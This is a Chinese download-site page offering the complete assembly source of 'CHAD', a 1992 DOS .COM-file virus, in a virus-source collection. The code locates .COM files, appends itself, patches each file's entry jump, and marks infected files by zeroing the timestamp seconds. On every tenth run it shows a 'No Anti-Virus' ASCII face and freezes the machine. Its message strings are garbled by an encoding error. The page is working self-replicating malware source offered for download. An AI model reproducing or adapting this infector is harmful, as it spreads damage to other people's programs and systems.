⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 chad - research virus version 1.01 .txt

📁 病毒源码 包括世上第一个病毒源码、蠕虫源码、冲击波源码
💻 TXT
字号:
;*************************************************************************** 
;*                                                                         * 
;*  CHAD - Research Virus Version 1.01              Date. 11th April 1992. * 
;*                                                                         * 
;*  Written By : *.****** (*** ******** *******)                           * 
;*                                                                         * 
;*  Non-Overwriting Virus To Persuade Users To Get Some Anti-Virus         * 
;*                                        Software, While Having Some Fun. * 
;*************************************************************************** 

CODE  Segment 
      Assume CS:CODE 

progr equ 100h 

      org progr 

virus_size    EQU vir_end-vir_start 
variable_diff EQU variables_start-vir_start 

chad: 
      call vir_start                     ;call virus 
      mov ah,4ch                         ;return to operating system 
      int 21h                            ;thru' dos interrupt 21h 

vir_start: 
      call next_byte                     ;call next address 

next_byte: 
      pop ax                             ;get next_byte address 
      sub ax,3                           ;get virus address 
      pop di                             ;get program start address 
      push ax                            ;save virus address 

      mov si,ax                          ;get address of next_byte 
      mov ax,variable_diff               ;add difference 
      add si,ax                          ;get variables address 

      push si                            ;save si 
      mov ax,18                          ;counter = variables+18 
      add si,ax                          ;and point to it 
      mov al,byte [si]                   ;get byte in counter 
      add al,1                           ;add 1 to it 
      mov byte [si],al                   ;and save again 
      and al,10                          ;set counter 
      cmp al,10                          ;has it been copied 10 times? 
      jnz over_chad                      ;if not jump over 
      mov ax,03h                         ;jump over to message line 1 
      add si,ax                          ;si = message 
      mov cx,10                          ;set counter to print 
print_chad: 
      push cx                            ;save counter 
      mov ah,0fh                         ;get current display page 
      int 10h                            ;call bios routine 
      mov ah,02h                         ;set cursor position 
      mov dl,18                          ;set column 
      mov dh,cl                          ;set line (backwards) 
      add dh,5                           ;place in middle of screen 
      int 10h                            ;call bios routine 
      mov dx,si                          ;move to dx 
      mov ah,09h                         ;print string 
      int 21h                            ;call dos 
      pop cx                             ;restore counter 
      add si,42                          ;point to next string 
      loop print_chad                    ;loop 'till done 
print_chad1: 
      jmp print_chad1                    ;infinite loop 
over_chad: 
      pop si                             ;restore variables address 
      pop ax                             ;get variables difference 
      mov [si],ax                        ;and save 
      mov ax,3                           ;move to old address 
      sub di,ax                          ;start of .com file 
      mov [si+2],di 
      mov ax,[si+4]                      ;get two bytes from old code 
      mov [di],ax                        ;and place at start of file 
      mov al,[si+6]                      ;get last byte of old code 
      mov [di+2],al                      ;and place at start of .COM file 
   
      mov dx,si                          ;which is copied to destination 
      mov ax,12                          ;add 3 to variables address 
      add dx,ax                          ;and save file control block 

;search for first 
      mov ah,4eh                         ;search for first 
      xor cx,cx                          ;attributes to search 
      int 21h                            ;call dos 
      jnc found_one                      ;if file found jump over 
      jmp return_to_prog                 ;if no file found return to program 

found_one: 
      mov ah,2fh                         ;get DTA address into es:bx 
      int 21h                            ;call dos 
      mov ax,22                          ;jump over to time 
      add bx,ax                          ;and point to it 
      mov al,es:[bx]                     ;and place in ax 
      and al,00000111b                   ;get seconds only 
      cmp al,00h                         ;zero seconds? 
      jnz infect_program                 ;if not infect program 
      mov ah,4fh                         ;find next file 
      int 21h                            ;call dos 
      cmp ax,12h                         ;any more files left? 
      jz return_to_prog                  ;no! return to program 
      jmp short found_one                ;jump back 

infect_program: 
      mov dx,8                           ;jump to asciiz fcb 
      add dx,bx                          ;add to bx 
      mov ax,3d02h                       ;open file for writing 
      int 21h                            ;call dos 
      jnc continue                       ;continue if no error 

      mov ah,4fh                         ;search for next 
      xor cx,cx                          ;attributes to search 
      int 21h                            ;call dos 
      jc return_to_prog                  ;if no file found return to program 
      jmp short found_one                ;jump forward if one found 

continue: 
      mov bx,ax                          ;transfer file handle to bx 

;read first three bytes 
      mov ah,3fh                         ;read file 
      mov cx,3                           ;number of bytes to read 
      mov dx,si                          ;point to buffer to read 
      add dx,4 
      int 21h                            ;call dos 

      mov ax,4202h                       ;move file pointer to end of file 
      xor cx,cx                          ;clear cx 
      xor dx,dx                          ;clear dx 
      int 21h                            ;call dos 
      sub ax,3 
      mov word [si+08h],ax               ;and store 

      mov ah,40h                         ;write to file 
      mov cx,virus_size                  ;set counter to write 
      mov dx,[si] 
      int 21h                            ;and write to file 

      mov ax,4200h                       ;move file pointer to start of file 
      xor cx,cx                          ;clear cx 
      xor dx,dx                          ;clear dx 
      int 21h                            ;call dos 

      mov ah,40h                         ;write to file 
      mov cx,3                           ;set counter to write 
      mov di,si 
      add di,9 
      mov dx,di                          ;point to buffer to start 
      int 21h                            ;and write to file 

      mov ax,5701h                       ;set date & time 
      xor cx,cx                          ;time set to zero 
      xor dx,dx                          ;and date 
      int 21h                            ;and do it 
      mov ah,3eh                         ;close file 
      int 21h                            ;thru' dos 

return_to_prog: 
      mov ax,cs                          ;get code segment 
      mov es,ax                          ;reset extra segment 
      mov ax,0100h                       ;start of .COM file 
      mov di,ax                          ;set destination address 
      jmp ax                             ;jump to start of program 

variables_start: 
      db 0,0 
      db 0,0 
old_add: 
      db 0e8h,0,0 
      db 0,0 
jump_code: 
      db 0e8h,0,0 
fcb: 
      db "*.COM",0 
counter: 
      db 0 
date: 
      db 0 
time: 
      db 0 
chad1: 
      db "谅谅谅谅谅谅谅谅谅谅谅谅谅谅谅谅谅谅谅谅?" 
      db "铝铝铝铝铝铝铝铝铝铝铝铝铝铝铝铝铝铝铝铝?" 
      db "谅谅谅谅       Software .....   谅谅谅谅?" 
      db "铝铝铝铝 WOT!!  No Anti - Virus 铝铝铝铝?" 
      db "谅谅谅谅谅谅谅谅谅谅谅谅谅谅谅谅谅谅谅谅?" 
      db "铝铝铝铝铝铝铝铝铝?   谅谅谅谅谅谅谅谅谅$" 
      db "穆穆穆穆穆穆腤W铝履    履拍WW履履履履履履$" 
      db "                ? O  O  ?              $" 
      db "                /        \               $" 
      db "                  ______                 $" 
chad2: 
      db "CHAD Against Damaging Viruses ... Save Our Software. 1992.$" 

variables_end: 

vir_end: 

CODE   ENDS 

       END chad 


⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -